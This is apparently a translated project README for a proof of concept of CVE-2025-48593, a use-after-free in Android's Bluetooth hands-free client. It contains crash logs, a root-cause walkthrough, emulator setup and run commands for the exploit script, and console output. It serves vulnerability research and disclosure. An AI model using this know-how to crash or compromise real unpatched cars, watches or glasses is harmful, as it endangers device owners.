CVE-2025-48593에 대한 개념 증명으로, 패치를 분석하여 작성되었습니다.

이에 대해 걱정하지 않으셔도 됩니다. 제가 확인한 바로는 휴대폰은 CVE-2025-48593에 취약하지 않습니다. 이 문제는 Bluetooth 헤드폰/스피커 역할을 지원하는 Android 기기(예: 일부 스마트워치, 스마트 글래스, 자동차)에만 영향을 미칩니다. 또한 공격자는 헤드셋 서비스에 접근하기 전에 피해자가 공격자에게 페어링하도록 유도해야 합니다. 스마트워치/글래스/자동차에서 페어링 요청을 수락하지 않는 한 문제없습니다.

이 개념 증명은 어떤 용도로도 쓸모가 없습니다. fault addr 0x4141414141414141 오류로 Android Automotive 에뮬레이터를 크래시시킬 뿐입니다.

제 블로그에서 제 분석 글을 읽을 수 있습니다.

결과

Android Studio의 Android Automotive 14 에뮬레이터에서 실행하면 다음과 같은 결과가 나타납니다:```

Build fingerprint: 'google/sdk_gcar_arm64/emulator_car64_arm64:14/UAA1.250512.001/13479943:userdebug/dev-keys' Revision: '0' ABI: 'arm64' Timestamp: 2025-12-01 17:28:17.644347763-0500 Process uptime: 0s Cmdline: com.google.android.bluetooth pid: 6386, tid: 6424, name: bt_main_thread >>> com.google.android.bluetooth <<< uid: 1001002 tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE) pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY) signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x4141414141414141 x0 4141414141414141 x1 b4000073106a14a0 x2 0000000000000103 x3 414141414141413e x4 b4000073106a15a3 x5 4141414141414241 x6 0000000000000100 x7 000000000000010f x8 0000000000000000 x9 4141414141414141 x10 0000000000000002 x11 00000070c20c8558 x12 0000000000000018 x13 00000000ffffffbf x14 0000000000000003 x15 0000000000000001 x16 00000070c253f470 x17 00000073f6ee3a40 x18 00000070bb2c6060 x19 00000070c258c0c0 x20 b4000073106a14a3 x21 0000000000000100 x22 00000070bc384000 x23 000000004141413e x24 00000070bc384000 x25 00000070bc384000 x26 00000070bc383ff8 x27 00000000000fc000 x28 00000000000fe000 x29 00000070bc383470 lr 00000070c20c3d58 sp 00000070bc383460 pc 00000073f6ee3b38 pst 00000000a0001000

15 total frames backtrace: #00 pc 000000000005fb38 /apex/com.android.runtime/lib64/bionic/libc.so (__memcpy_aarch64_simd+248) (BuildId: 8bd98d931a32d13659267d7d53286e73) #01 pc 00000000006aad54 /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdp_copy_raw_data(tCONN_CB*, bool)+344) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #02 pc 00000000006aa0c0 /apex/com.android.btservices/lib64/libbluetooth_jni.so (process_service_search_attr_rsp(tCONN_CB*, unsigned char*, unsigned char*)+624) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #03 pc 00000000006a9760 /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdp_data_ind(unsigned short, BT_HDR*)+212) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #04 pc 00000000007387b4 /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_csm_execute(t_l2c_ccb*, tL2CEVT, void*)+9412) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #05 pc 00000000009d6ce8 /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*)+196) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #06 pc 00000000009d6260 /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::MessageLoop::RunTask(base::PendingTask*)+352) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #07 pc 00000000009d6574 /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::MessageLoop::DoWork()+452) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #08 pc 00000000009d8964 /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::MessagePumpDefault::Run(base::MessagePump::Delegate*)+100) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #09 pc 00000000009e4a34 /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::RunLoop::Run()+64) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #10 pc 000000000069aaa4 /apex/com.android.btservices/lib64/libbluetooth_jni.so (bluetooth::common::MessageLoopThread::Run(std::__1::promise)+336) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #11 pc 000000000069a584 /apex/com.android.btservices/lib64/libbluetooth_jni.so (bluetooth::common::MessageLoopThread::RunThread(bluetooth::common::MessageLoopThread*, std::__1::promise)+48) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #12 pc 000000000069b090 /apex/com.android.btservices/lib64/libbluetooth_jni.so (void* std::__1::__thread_proxy<std::__1::tuple<std::__1::unique_ptr<std::__1::__thread_struct, std::__1::default_deletestd::__1::__thread_struct >, void ()(bluetooth::common::MessageLoopThread, std::__1::promise), bluetooth::common::MessageLoopThread*, std::__1::promise > >(void*)+84) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #13 pc 00000000000cb6a8 /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+208) (BuildId: 8bd98d931a32d13659267d7d53286e73) #14 pc 000000000006821c /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+64) (BuildId: 8bd98d931a32d13659267d7d53286e73)

## 추가 결과

이것들은 버퍼를 재할당하는 방법을 알아내기 전의 [원래 개념 증명](https://github.com/zhuowei/blueshrimp/tree/first-poc)에서 가져온 것입니다:

Android 15 에뮬레이터를 Bluetooth 스피커로 강제 실행한 후, 이 코드를 실행하면 null 역참조가 발생합니다:```
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'google/sdk_gphone64_arm64/emu64a:15/AE3A.240806.043/12960925:userdebug/dev-keys'
Revision: '0'
ABI: 'arm64'
Timestamp: 2025-11-13 22:03:35.264596895-0500
Process uptime: 0s
Cmdline: com.google.android.bluetooth
pid: 5549, tid: 5589, name: bt_main_thread  >>> com.google.android.bluetooth <<<
uid: 1002
tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY)
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x2a20010000000000
    x0  00000074d49ccf5a  x1  b4000076cb2f4f80  x2  0000000000000035  x3  000000752fd5403c
    x4  b4000075cb32c6f9  x5  b40000764b322462  x6  0000000000000035  x7  b4000076db2ef159
    x8  0007ac63ecbcb3da  x9  0000000000000002  x10 b40000764b322460  x11 00000074d476c3a4
    x12 000000000000000c  x13 000000007fffffff  x14 0000000000000001  x15 000006a9e9459ce0
    x16 00000074d4974360  x17 00000077fcd25700  x18 00000074d0aa8060  x19 00000074d49ccf5a
    x20 00000074d3e9d98b  x21 2a20010000000000  x22 00000074d3e28d23  x23 00000074d414ae8c
    x24 000000752fd54a80  x25 0000000000003002  x26 b4000076cb2f4f80  x27 00000074d3e9d92c
    x28 000000752fd541f0  x29 000000752fd53fd0
    lr  00000074d476702c  sp  000000752fd53940  pc  00000074d476ab88  pst 0000000060001000

14 total frames
backtrace:
      #00 pc 0000000000969b88  /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdpu_log_attribute_metrics(RawAddress const&, tSDP_DISCOVERY_DB*)+284) (BuildId: 6f08819253185bc44c9fec07ed93c598)
      #01 pc 0000000000966028  /apex/com.android.btservices/lib64/libbluetooth_jni.so (process_service_search_attr_rsp(tCONN_CB*, unsigned char*, unsigned char*)+1104) (BuildId: 6f08819253185bc44c9fec07ed93c598)
      #02 pc 0000000000965884  /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdp_data_ind(unsigned short, BT_HDR*)+296) (BuildId: 6f08819253185bc44c9fec07ed93c598)
      #03 pc 00000000009f45cc  /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_csm_execute(t_l2c_ccb*, tL2CEVT, void*)+12968) (BuildId: 6f08819253185bc44c9fec07ed93c598)

malloc_debug를 free 시 fill로 설정하면 다음과 같이 표시됩니다:```

Build fingerprint: 'google/sdk_gphone64_arm64/emu64a:15/AE3A.240806.043/12960925:userdebug/dev-keys' Revision: '0' ABI: 'arm64' Timestamp: 2025-11-13 22:44:39.509419570-0500 Process uptime: 0s Cmdline: com.google.android.bluetooth pid: 7391, tid: 7422, name: bt_main_thread >>> com.google.android.bluetooth <<< uid: 1002 tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE) pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY) signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0xb4000076954f3000 x0 b4000076954f3002 x1 b4000076954e48a8 x2 000000000000ebeb x3 000000764031dd58 x4 0000000000000004 x5 68746f6f7465756c x6 68746f6f7465756c x7 b4000076f54d5ad9 x8 b4000076954f2fff x9 000000000000d78b x10 0000000000000009 x11 0000000000000009 x12 000000000000d78b x13 0000000000000008 x14 0000000000000004 x15 000006b7ae6ad944 x16 0000000000000001 x17 000000794c270af0 x18 0000007578ca8070 x19 000000757e7cff58 x20 0000000000000000 x21 0000000000000000 x22 b4000076954c9950 x23 0000000000000043 x24 000000764031ea80 x25 b4000076954c9965 x26 b4000076954c9968 x27 000000764031ea80 x28 000000764031df70 x29 000000764031ddb0 lr 000000757e569d30 sp 000000764031dd50 pc 000000757e56ec08 pst 0000000080001000

17 total frames backtrace: #00 pc 000000000096ac08 /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdpu_build_attrib_seq(unsigned char*, unsigned short*, unsigned short)+112) (BuildId: 6f08819253185bc44c9fec07ed93c598) #01 pc 0000000000965d2c /apex/com.android.btservices/lib64/libbluetooth_jni.so (process_service_search_attr_rsp(tCONN_CB*, unsigned char*, unsigned char*)+340) (BuildId: 6f08819253185bc44c9fec07ed93c598) #02 pc 0000000000965494 /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdp_config_cfm(unsigned short, unsigned short, tL2CAP_CFG_INFO*)+248) (BuildId: 6f08819253185bc44c9fec07ed93c598) #03 pc 00000000009f7364 /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_csm_indicate_connection_open(t_l2c_ccb*)+220) (BuildId: 6f08819253185bc44c9fec07ed93c598) #04 pc 00000000009f346c /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_csm_execute(t_l2c_ccb*, tL2CEVT, void*)+8520) (BuildId: 6f08819253185bc44c9fec07ed93c598) #05 pc 00000000009fe380 /apex/com.android.btservices/lib64/libbluetooth_jni.so (process_l2cap_cmd(t_l2c_linkcb*, unsigned char*, unsigned short)+376) (BuildId: 6f08819253185bc44c9fec07ed93c598) #06 pc 00000000009fdf64 /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_rcv_acl_data(BT_HDR*)+624) (BuildId: 6f08819253185bc44c9fec07ed93c598)

물리적 기기에서는 테스트하지 않았습니다.

## 무슨 일이 일어나고 있는지에 대한 나의 이해

블루투스 헤드폰은 [핸즈프리 프로필](https://github.com/zhuowei/blueshrimp/blob/HEAD/%3Chttps:/en.wikipedia.org/wiki/List_of_Bluetooth_profiles#Hands-Free_Profile_(HFP)>)을 사용합니다.

핸즈프리 프로필은 특별합니다. 대부분의 블루투스 서비스에서는 한쪽이 클라이언트 역할을 하고 다른 쪽이 서버 역할을 하지만, 헤드셋과 연결 기기(예: 휴대폰) 모두 블루투스 서버를 실행해야 합니다.

휴대폰이 헤드셋의 핸즈프리 서비스(0x111e)에 연결된 후, 헤드셋은 다시 휴대폰의 핸즈프리 오디오 게이트웨이 서비스(0x111f)에 연결됩니다.

휴대폰이 헤드셋의 핸즈프리 서비스에 RFCOMM 연결을 열면, 헤드셋의 hf_client 코드에서는 다음과 같은 일이 발생합니다:

- [bta_hf_client_allocate_handle](https://cs.android.com/android/platform/superproject/main/+/main:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=556;drc=875c5971d0201d3c67cc166ad9ab8b2b4a7cab7f)는 풀에서 `tBTA_HF_CLIENT_CB` 핸들을 할당합니다
- [bta_hf_client_do_disc](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=382;drc=769caf391c6055c6f9db945b71d96b2f01c8799c)는 `tSDP_DISCOVERY_DB`를 할당하고, 이를 `client_cb->p_disc_db`에 저장한 후 SDP 디스커버리를 시작합니다
- [SDP_ServiceSearchAttributeRequest2](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_api.cc;l=205;drc=138659ad3ff2961010b9cacd36fceb36ba73dcce)는 `tSDP_DISCOVERY_DB`를 `tCONN_CB`의 `p_ccb->p_db`에 저장한 다음, 휴대폰의 SDP 서비스에 연결합니다
- 이제 `tSDP_DISCOVERY_DB`는 hf_client의 `client_cb->p_disc_db` 핸들과 SDP 계층의 `p_ccb->p_db` 양쪽에 저장됩니다

휴대폰의 RFCOMM 연결이 닫힐 때:

- [bta_hf_client_mgmt_cback](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_rfc.cc;l=143;drc=86d90eee9dd37eccdd19449b9d72b883df060f9b)는 `BTA_HF_CLIENT_RFC_CLOSE_EVT`를 발생시킵니다
- [bta_hf_client_st_opening 상태 테이블](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=157;drc=769caf391c6055c6f9db945b71d96b2f01c8799c)은 [bta_hf_client_rfc_close](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_act.cc;l=278;drc=031a4c3b0a00602b7bbd08ffd8b4d02fdccb5989)의 핸들러를 호출하고 상태 머신을 `BTA_HF_CLIENT_INIT_ST`로 재설정합니다
- [bta_hf_client_sm_execute](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=728;drc=769caf391c6055c6f9db945b71d96b2f01c8799c)는 상태 전이를 감지하고 `tBTA_HF_CLIENT_CB` 핸들을 다시 풀로 할당 해제합니다
- 하지만 패치 이전에는 SDP 연결이 취소되지 않으며 여전히 응답을 기다리고 있습니다
- 이 시점에서 `tBTA_HF_CLIENT_CB`는 미할당 풀로 반환되었지만, `client_cb->p_disc_db`는 여전히 설정되어 있고 SDP 디스커버리도 여전히 활성 상태입니다

휴대폰이 SDP 디스커버리에 오류로 응답할 때:

- [bta_hf_client_sdp_cback](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=85;drc=769caf391c6055c6f9db945b71d96b2f01c8799c)는 `BTA_HF_CLIENT_DISC_INT_RES_EVT`를 발생시킵니다
- [bta_hf_client_st_opening 상태 테이블](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=164;drc=769caf391c6055c6f9db945b71d96b2f01c8799c)은 [bta_hf_client_disc_int_res](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_act.cc;l=319;drc=031a4c3b0a00602b7bbd08ffd8b4d02fdccb5989)의 핸들러를 호출합니다
- [bta_hf_client_free_db](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=413;drc=769caf391c6055c6f9db945b71d96b2f01c8799c)는 `client_cb->p_disc_db`를 해제합니다
- 따라서 이제 `tSDP_DISCOVERY_DB`는 해제되고, `client_cb->p_disc_db`는 null이 되며, SDP 계층에는 더 이상 디스커버리 DB를 가리키는 `p_ccb->p_db`가 없습니다.

하지만 첫 번째 SDP 디스커버리가 반환되기 전에 휴대폰이 다시 RFCOMM을 열면:

- 핸들을 다시 할당하고(아마 이전에 풀로 할당 해제되었던 동일한 핸들) 다시 디스커버리를 호출합니다.
- `client_cb->p_disc_db`는 이제 새 `tSDP_DISCOVERY_DB`를 가리키고, SDP 계층은 두 개의 `tSDP_DISCOVERY_DB`를 보유합니다. 하나의 `p_ccb->p_db`는 첫 번째 연결의 이전 DB를, 다른 `p_ccb->p_db`는 두 번째 연결의 새 DB를 보유합니다.

이제 휴대폰이 첫 번째 SDP 디스커버리에 오류로 응답하면:

- SDP 계층이 첫 번째 연결의 `p_ccb`를 닫습니다
- [bta_hf_client_free_db](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=413;drc=769caf391c6055c6f9db945b71d96b2f01c8799c)는 `client_cb->p_disc_db`를 해제하는데, 이는 _두 번째_ 연결의 DB입니다
- 이제 hf_client의 `client_cb->p_disc_db`는 해제되어 null로 설정되고, 첫 번째 연결에 대한 SDP의 `p_ccb`는 사라집니다
- 하지만 두 번째 연결의 `p_ccb`는 여전히 활성 상태이므로, 두 번째 SDP 디스커버리 요청의 `p_ccb->p_db`는 해제된 `tSDP_DISCOVERY_DB`를 가리킵니다

마지막으로 휴대폰이 두 번째 SDP 디스커버리에 실제 응답으로 답하면:

- SDP 계층은 [sdp_data_ind](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_main.cc;l=234;drc=0e45ce1dc53e611da84344e7c5a11108ad7dba46)에서 들어오는 데이터를 처리하고 sdp_disc_server_rsp로 디스패치합니다
- [process_service_search_attr_rsp](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_discovery.cc;l=683;drc=769caf391c6055c6f9db945b71d96b2f01c8799c)는 `p_ccb->p_db`에서 읽기를 시작합니다
- `p_db`가 첫 번째 SDP 디스커버리의 오류 응답에서 `bta_hf_client_free_db`에 의해 이미 해제되었으므로, 두 번째 SDP 응답은 use-after-free를 유발합니다.

이해가 안 되는 점:

- Bionic은 [malloc_debug](https://android.googlesource.com/platform/bionic/+/master/libc/malloc_debug/README.md)를 지원합니다. `"LIBC_DEBUG_MALLOC_OPTIONS=fill\ verbose"`를 설정하면 해제 시 메모리를 `0xef`로 채웁니다. 그런데 왜 크래시 로그에서 `0xef`가 보이지 않을까요?

## 실행 방법

Android Automotive 14, API 34-ext9, "Android Automotive with Google APIs arm64-v8a System Image", 버전 5로 Android Studio 에뮬레이터를 만드세요. 이 에뮬레이터는 Headset Client가 기본으로 활성화되어 있습니다.

또는 비(Automotive) Android 에뮬레이터가 블루투스 헤드폰을 에뮬레이션하도록 하려면:

Android Studio에서 Android 15용 로컬 Android 에뮬레이터를 시작하세요. (저는 Android 15용 Android 에뮬레이터, "Google APIs ARM 64 v8a System Image", 버전 9를 사용 중입니다.)```
adb root
adb shell
setprop bluetooth.profile.hfp.hf.enabled true
# optionally:
# setprop wrap.com.google.android.bluetooth "LIBC_DEBUG_MALLOC_OPTIONS=fill\ verbose"
am force-stop com.google.android.bluetooth

그런 다음``` python3 -m venv env . env/bin/activate pip install bumble bumble-pair --mode classic device.json android-netsim DA:4C:10:DE:17:00

accept pairing in terminal and in emulator, then Ctrl+C after pairing completes

python3 blueshrimp.py

you need to run it twice for some reason...

python3 blueshrimp.py

If the emulator is vulnerable (e.g. Android 15 API 35 "Google APIs ARM 64 v8a System Image" revision 9), you'll get:```
(env) zhuowei-laptop:blueshrimp zhuowei$ python3 blueshrimp.py
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
I0000 00:00:1763097284.153459 24000650 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
I0000 00:00:1763097284.158812 24000650 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
<bound method Server.on_sdp_service_search_attribute_request of <bumble.sdp.Server object at 0x1025ae3c0>>
open dlc!!!!!!!
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
  service_search_pattern:       SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))])
  maximum_attribute_byte_count: 1008
  attribute_id_list:            SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
  continuation_state:           00
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
  service_search_pattern:       SEQUENCE([UUID(00001106-0000-1000-3500-1C0000110600)])
  maximum_attribute_byte_count: 1008
  attribute_id_list:            SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
  continuation_state:           00
(env) zhuowei-laptop:blueshrimp zhuowei$

그러면 logcat에서 크래시가 표시됩니다.

또는 LIBC_DEBUG_MALLOC_OPTIONS를 사용한 경우:``` (env) zhuowei-laptop:blueshrimp zhuowei$ python3 blueshrimp.py WARNING: All log messages before absl::InitializeLog() is called are written to STDERR I0000 00:00:1763097125.539691 23998204 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers I0000 00:00:1763097125.546204 23998204 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers <bound method Server.on_sdp_service_search_attribute_request of <bumble.sdp.Server object at 0x104bc23c0>> open dlc!!!!!!! got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]: service_search_pattern: SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))]) maximum_attribute_byte_count: 1008 attribute_id_list: SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)]) continuation_state: 00 Traceback (most recent call last): File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 91, in asyncio.run(main()) ~~~~~~~~~~~^^^^^^^^ File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 195, in run return runner.run(main) ~~~~~~~~~~^^^^^^ File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 118, in run return self._loop.run_until_complete(task) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^ File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/base_events.py", line 725, in run_until_complete return future.result() ~~~~~~~~~~~~~^^ File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 87, in main requests[1]) ~~~~~~~~^^^ IndexError: list index out of range (env) zhuowei-laptop:blueshrimp zhuowei$ python3 blueshrimp.py WARNING: All log messages before absl::InitializeLog() is called are written to STDERR I0000 00:00:1763097146.578122 23998494 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers I0000 00:00:1763097146.584279 23998494 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers <bound method Server.on_sdp_service_search_attribute_request of <bumble.sdp.Server object at 0x104f4e3c0>> open dlc!!!!!!! got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]: service_search_pattern: SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))]) maximum_attribute_byte_count: 1008 attribute_id_list: SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)]) continuation_state: 00 Traceback (most recent call last): File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 91, in asyncio.run(main()) ~~~~~~~~~~~^^^^^^^^ File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 195, in run return runner.run(main) ~~~~~~~~~~^^^^^^ File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 118, in run return self._loop.run_until_complete(task) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^ File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/base_events.py", line 725, in run_until_complete return future.result() ~~~~~~~~~~~~~^^ File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 76, in main await channel.disconnect() File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/env/lib/python3.13/site-packages/bumble/rfcomm.py", line 645, in disconnect await self.disconnection_result asyncio.exceptions.CancelledError

에뮬레이터가 취약하지 않은 경우(예: Android 16 API 36.1 "Google APIs ARM 64 v8a System Image" revision 3)```
(env) zhuowei-laptop:blueshrimp zhuowei$ python3 blueshrimp.py
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
I0000 00:00:1763092971.476083 23945806 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
I0000 00:00:1763092971.486513 23945806 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
<bound method Server.on_sdp_service_search_attribute_request of <bumble.sdp.Server object at 0x10697e3c0>>
open dlc!!!!!!!
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
  service_search_pattern:       SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))])
  maximum_attribute_byte_count: 1008
  attribute_id_list:            SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
  continuation_state:           00
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
  service_search_pattern:       SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))])
  maximum_attribute_byte_count: 1008
  attribute_id_list:            SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
  continuation_state:           00
Traceback (most recent call last):
  File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 91, in <module>
    asyncio.run(main())
    ~~~~~~~~~~~^^^^^^^^
  File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 195, in run
    return runner.run(main)
           ~~~~~~~~~~^^^^^^
  File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 118, in run
    return self._loop.run_until_complete(task)
           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^
  File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/base_events.py", line 725, in run_until_complete
    return future.result()
           ~~~~~~~~~~~~~^^
  File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 86, in main
    device.sdp_server.orig_on_sdp_service_search_attribute_request(
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^
        requests[1])
        ^^^^^^^^^^^^
  File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/env/lib/python3.13/site-packages/bumble/sdp.py", line 1330, in on_sdp_service_search_attribute_request
    self.send_response(
    ~~~~~~~~~~~~~~~~~~^
        SDP_ServiceSearchAttributeResponse(
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    ...<4 lines>...
        )
        ^
    )
    ^
  File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/env/lib/python3.13/site-packages/bumble/sdp.py", line 1063, in send_response
    self.channel.send_pdu(response)
    ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^
  File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/env/lib/python3.13/site-packages/bumble/l2cap.py", line 772, in send_pdu
    raise InvalidStateError('channel not open')
bumble.core.InvalidStateError: channel not open
(env) zhuowei-laptop:blueshrimp zhuowei$

물리적 Bluetooth USB 어댑터에 관한 참고 사항

저는 macOS에서 Bumble과 함께 TP-Link UB400 v2.6(RTL8761BU)을 사용하고 있습니다.

처음에는 ASUS USB-BT500 v2 어댑터(RTL8761CU)를 시도했는데 macOS의 Bumble에서 작동하지 않는다는 것을 발견했습니다. Bumble이 L2CAP 연결을 설정하려고 할 때 대상 장치는 연결 요청 패킷을 수신하고 응답을 보내지만 USB-BT500 v2는 응답을 전혀 수신하지 못하며 연결이 실패합니다.

(ASUS USB-BT500 v2는 Linux에서 Bumble과 함께 정상적으로 작동합니다.)

도구

